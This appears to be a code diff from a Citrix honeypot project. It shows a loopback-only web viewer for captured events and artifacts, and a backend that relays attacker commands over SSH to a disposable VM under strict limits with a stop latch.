document.getElementById('hide').onchange=reset;
document.getElementById('size').onchange=reset;
document.addEventListener('keydown',e=>{if(e.target.tagName==='INPUT'||e.target.tagName==='SELECT')return;
if(e.key==='j'||e.key==='ArrowDown'){e.preventDefault();select(Math.min(current.length-1,selected+1));}
if(e.key==='k'||e.key==='ArrowUp'){e.preventDefault();select(Math.max(0,selected-1));}});
setInterval(()=>{if(page===0&&document.getElementById('live').checked)load();},3000);
load();
</script></body></html>'''
def reverse_lines(path, block=1 << 20):
"""Yield file lines newest-first without loading the whole file."""
with path.open('rb') as stream:
stream.seek(0, 2)
position = stream.tell()
tail = b''
while position > 0:
size = min(block, position)
position -= size
stream.seek(position)
lines = (stream.read(size) + tail).split(b'\n')
tail = lines[0]
for line in reversed(lines[1:]):
if line:
yield line
if tail.strip():
yield tail
def artifact_path(artifact_dir, sha):
if not re.fullmatch(r'[0-9a-f]{64}', sha or ''):
return None
path = artifact_dir / (sha + '.bin')
return path if path.is_file() else None
class Handler(http.server.BaseHTTPRequestHandler):
server_version = 'CitrixPotViewer'
sys_version = ''
protocol_version = 'HTTP/1.1'
def log_message(self, *args):
pass
def send(self, code, content, mime='application/octet-stream', extra=()):
self.send_response(code)
self.send_header('Content-Type', mime)
self.send_header('Content-Length', str(len(content)))
self.send_header('X-Content-Type-Options', 'nosniff')
self.send_header('Cache-Control', 'no-store')
for key, value in extra:
self.send_header(key, value)
self.end_headers()
if self.command != 'HEAD':
self.wfile.write(content)
def do_GET(self):
url = urllib.parse.urlsplit(self.path)
query = urllib.parse.parse_qs(url.query)
if url.path == '/':
return self.send(200, PAGE.encode(), 'text/html; charset=utf-8')
if url.path == '/api/events':
return self.events(query)
if url.path.startswith('/api/artifact/'):
return self.artifact(url.path.rsplit('/', 1)[-1], query)
self.send(404, b'not found', 'text/plain; charset=utf-8')
def do_HEAD(self):
self.do_GET()
@staticmethod
def one(query, name, default=''):
return query.get(name, [default])[0]
def events(self, query):
try:
size = min(max(int(self.one(query, 'size', '100')), 1), 500)
except ValueError:
size = 100
try:
page = max(int(self.one(query, 'page', '0')), 0)
except ValueError:
page = 0
terms = [term for term in (self.one(query, 'q') or '').lower().split() if term]
kind = self.one(query, 'event')
peer = (self.one(query, 'peer') or '').lower()
payload_only = self.one(query, 'payload', '0') == '1'
hidden = getattr(self.server, 'hide_ips', set()) if self.one(query, 'hide', '1') != '0' else set()
need = (page + 1) * size
rows, scanned = [], 0
path = self.server.journal
if path.is_file():
# ponytail: reverse scan is bounded by page depth, not file size, for unfiltered paging;
# add a sqlite FTS index only if filtered deep paging on multi-GB journals gets slow.
for raw in reverse_lines(path):
scanned += 1
line = raw.decode('utf-8', 'replace')
low = line.lower()
if any(term not in low for term in terms):
continue
try:
row = json.loads(line)
except ValueError:
continue
if kind and row.get('event') != kind:
continue
if row.get('peer') in hidden:
continue
if peer and peer not in str(row.get('peer', '')).lower():
continue
if payload_only and not row.get('evidence'):
continue
rows.append(row)
if len(rows) >= need:
break
page_rows = rows[page * size:(page + 1) * size]
body = json.dumps({'events': page_rows, 'scanned': scanned, 'page': page, 'size': size,
'has_more': len(rows) >= need, 'hidden': len(hidden)}, ensure_ascii=True).encode()
self.send(200, body, 'application/json', (('Content-Disposition', 'inline'),))
def artifact(self, sha, query):
path = artifact_path(self.server.artifacts, sha)
if path is None:
return self.send(404, b'not found', 'text/plain; charset=utf-8')
data = path.read_bytes()
if self.one(query, 'inline', '0') == '1':
return self.send(200, data, 'application/octet-stream')
self.send(200, data, 'application/octet-stream',
(('Content-Disposition', f'attachment; filename="{sha}.bin"'),))
def main():
load()
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument('--log-dir', default=os.environ.get('VIEWER_LOG_DIR', str(pathlib.Path(__file__).parent / 'logs')))
parser.add_argument('--bind', default=os.environ.get('VIEWER_BIND', '127.0.0.1'))
parser.add_argument('--port', type=int, default=env_int('VIEWER_PORT', 8787))
parser.add_argument('--allow-non-loopback', action='store_true',
help='required to bind anything other than a loopback address')
parser.add_argument('--hide-ip', action='append', metavar='IP',
default=[item.strip() for item in os.environ.get('VIEWER_HIDE_IP', '').split(',') if item.strip()],
help='extra client IP to hide (repeatable; VIEWER_HIDE_IP is comma-separated)')
parser.add_argument('--hide-ip-file', help='file with one hidden IP per line')
parser.add_argument('--no-hide-public-ip', action='store_true',
help="do not auto-detect and hide this host's public IP")
parser.add_argument('--hide-refresh', type=int, default=1800,
help='seconds between public-IP refreshes (default 1800)')
args = parser.parse_args()
try:
loopback = ipaddress.ip_address(args.bind).is_loopback
except ValueError:
loopback = args.bind == 'localhost'
if not loopback and not args.allow_non_loopback:
parser.error('refusing non-loopback bind without --allow-non-loopback')
directory = pathlib.Path(args.log_dir)
server = http.server.ThreadingHTTPServer((args.bind, args.port), Handler)
server.journal = directory / 'events.jsonl'
server.artifacts = directory / 'artifacts'
server.hide_ips = {ip for ip in args.hide_ip if ip}
def hide_operator_traffic():
from public_ip import discover
while True:
if args.hide_ip_file:
try:
server.hide_ips.update(line.strip() for line in
pathlib.Path(args.hide_ip_file).read_text().splitlines() if line.strip())
except OSError:
pass
if not args.no_hide_public_ip:
ip = discover()
if ip:
server.hide_ips.add(ip)
time.sleep(args.hide_refresh)
threading.Thread(target=hide_operator_traffic, daemon=True).start()
print(f'Evidence viewer: http://{args.bind}:{server.server_port}/ (read-only; {directory})', flush=True)
try:
server.serve_forever()
except KeyboardInterrupt:
pass
finally:
server.server_close()
if __name__ == '__main__':
main()
+208
View File
@@ -0,0 +1,208 @@
"""Bounded SSH transport to a disposable VM; attacker input never reaches a local shell."""
import base64
import collections
import ipaddress
import json
import os
import pathlib
import secrets
import subprocess
import tempfile
import threading
import time
from evidence import EvidenceError
LIMIT = 16 * 1024 * 1024
EVENTS = {'guest_http_file', 'guest_upload', 'guest_file_deleted', 'guest_file_version',
'guest_file_capture_error', 'guest_process_start', 'guest_stdout',
'guest_syscalls_stderr', 'guest_execution_limit', 'guest_process_end', 'guest_limit'}
FIELDS = {'guest_time_ns', 'path', 'size', 'mode', 'truncated', 'error', 'bytes', 'pid',
'command', 'seconds', 'returncode', 'resource'}
class VMBackend:
def __init__(self, config, emit):
self.config = json.loads(pathlib.Path(config).read_text())
self.emit, self.on_failure = emit, None
self.slots = threading.BoundedSemaphore(4)
self.io_slots = threading.BoundedSemaphore(4)
self.lock = threading.Lock()
self.active, self.threads, self.peers = set(), set(), collections.OrderedDict()
self.closed = False
host = str(ipaddress.ip_address(self.config['host']))
port = int(self.config.get('port', 22))
if not 1 <= port <= 65535:
raise ValueError('invalid SSH port')
self.peer_path = pathlib.Path(self.config.get('allowed_peers', '/var/lib/decoy/allowed-peers.json'))
self.stop_path = pathlib.Path(self.config.get('stop_file', '/var/lib/decoy/STOP'))
self.ssh = ['ssh', '-T', '-o', 'BatchMode=yes', '-o', 'ConnectTimeout=5',
'-o', 'ServerAliveInterval=10', '-o', 'ServerAliveCountMax=2',
'-o', 'StrictHostKeyChecking=yes', '-o', 'IdentitiesOnly=yes',
'-o', 'UserKnownHostsFile=' + self.config['known_hosts'],
'-i', self.config['identity'], '-p', str(port),
'root@' + host, 'python3 /opt/decoy/guest.py']
def close(self, trip=False):
if trip:
# Broker independently watches this latch; never remove it automatically.
self.stop_path.parent.mkdir(mode=0o700, parents=True, exist_ok=True)
fd = os.open(self.stop_path, os.O_WRONLY | os.O_CREAT | os.O_NOFOLLOW, 0o600)
os.close(fd)
with self.lock:
self.closed = True
for proc in tuple(self.active):
try:
proc.kill()
except ProcessLookupError:
pass
def fail(self, error):
try:
self.close(trip=True)
finally:
if self.on_failure:
self.on_failure(error)
def register_peer(self, peer):
ip = ipaddress.ip_address(peer)
if ip.version != 4:
return # broker is IPv4 only
try:
with self.lock:
if self.closed or self.stop_path.exists():
raise EvidenceError('VM capture stopped')
now = time.monotonic()
self.peers = collections.OrderedDict((k, v) for k, v in self.peers.items() if now - v < 3600)
self.peers.pop(str(ip), None)
self.peers[str(ip)] = now
while len(self.peers) > 128:
self.peers.popitem(last=False)
self.peer_path.parent.mkdir(mode=0o700, parents=True, exist_ok=True)
fd, name = tempfile.mkstemp(prefix='.peers-', dir=self.peer_path.parent)
try:
with os.fdopen(fd, 'w') as f:
json.dump(list(self.peers), f)
f.flush()
os.fsync(f.fileno())
os.replace(name, self.peer_path)
finally:
if os.path.exists(name):
os.unlink(name)
except OSError as error:
failure = EvidenceError(str(error))
self.fail(failure)
raise failure from error
def records(self, request, context):
encoded = (json.dumps(request, separators=(',', ':')) + '\n').encode()
if len(encoded) > 4 * ((LIMIT + 2) // 3) + 131072:
raise ValueError('guest request limit')
with self.lock:
if self.closed or self.stop_path.exists():
raise EvidenceError('VM capture stopped')
proc = subprocess.Popen(self.ssh, stdin=subprocess.PIPE, stdout=subprocess.PIPE,
stderr=subprocess.DEVNULL)
self.active.add(proc)
timer = threading.Timer(620 if request['action'] == 'execute' else 20, proc.kill)
timer.daemon = True
timer.start()
try:
proc.stdin.write(encoded)
proc.stdin.close()
total = 0
for count in range(65536):
raw = proc.stdout.readline(24 * 1024 * 1024)
if not raw:
break
total += len(raw)
if not raw.endswith(b'\n') or total > 128 * 1024 * 1024:
raise ValueError('guest telemetry limit')
event = json.loads(raw)
if not isinstance(event, dict) or event.get('event') not in EVENTS:
raise ValueError('invalid guest event')
name = event['event']
clean = {k: v for k, v in event.items() if k in FIELDS and
(v is None or type(v) in (str, int, bool))}
if any(isinstance(v, str) and len(v) > 65536 for v in clean.values()):
raise ValueError('guest field limit')
if 'base64' in event:
content = base64.b64decode(event['base64'], validate=True)
if len(content) > LIMIT:
raise ValueError('guest artifact limit')
clean['content'] = content
# The guest cannot supply or override event correlation or storage paths.
self.emit(name, **clean, **context, telemetry_trust='guest-reported', guest_shared=True)
yield clean
else:
raise ValueError('guest event count limit')
if proc.wait() != 0:
raise OSError('guest transport or command failed')
except EvidenceError as error:
self.fail(error)
raise
finally:
timer.cancel()
if proc.poll() is None:
proc.kill()
proc.wait()
proc.stdout.close()
try:
proc.stdin.close()
except OSError:
pass
with self.lock:
self.active.discard(proc)
def execute(self, command, context):
if not self.slots.acquire(False):
self.emit('execution_rejected', **context, reason='VM concurrency limit')
return
context = dict(context, execution_id=secrets.token_hex(16))
def run():
try:
self.emit('execution_start', **context, command=command, vm=self.config['vmid'], guest_shared=True)
for _ in self.records(dict(action='execute', command=command), context):
pass
self.emit('execution_end', **context)
except EvidenceError as error:
self.fail(error)
except Exception as error:
try:
self.emit('execution_error', **context, error=str(error))
except EvidenceError:
pass
self.fail(EvidenceError('execution telemetry lost: ' + str(error)))
finally:
self.slots.release()
with self.lock:
self.threads.discard(threading.current_thread())
thread = threading.Thread(target=run, daemon=True)
with self.lock:
self.threads.add(thread)
thread.start()
def io(self, request, context):
if not self.io_slots.acquire(False):
self.emit('guest_io_rejected', **context, action=request['action'], reason='concurrency limit')
return None
try:
result = None
for event in self.records(request, context):
if 'content' in event:
result = event['content']
return result
except EvidenceError:
raise
except (OSError, ValueError, TypeError) as error:
self.emit('guest_io_error', **context, action=request['action'], error=str(error))
return None
finally:
self.io_slots.release()
def upload(self, payload, context):
if len(payload) > LIMIT:
raise ValueError('upload limit')
return self.io(dict(action='upload', base64=base64.b64encode(payload).decode()), context)
def read(self, path, context):
return self.io(dict(action='read', path=path), context)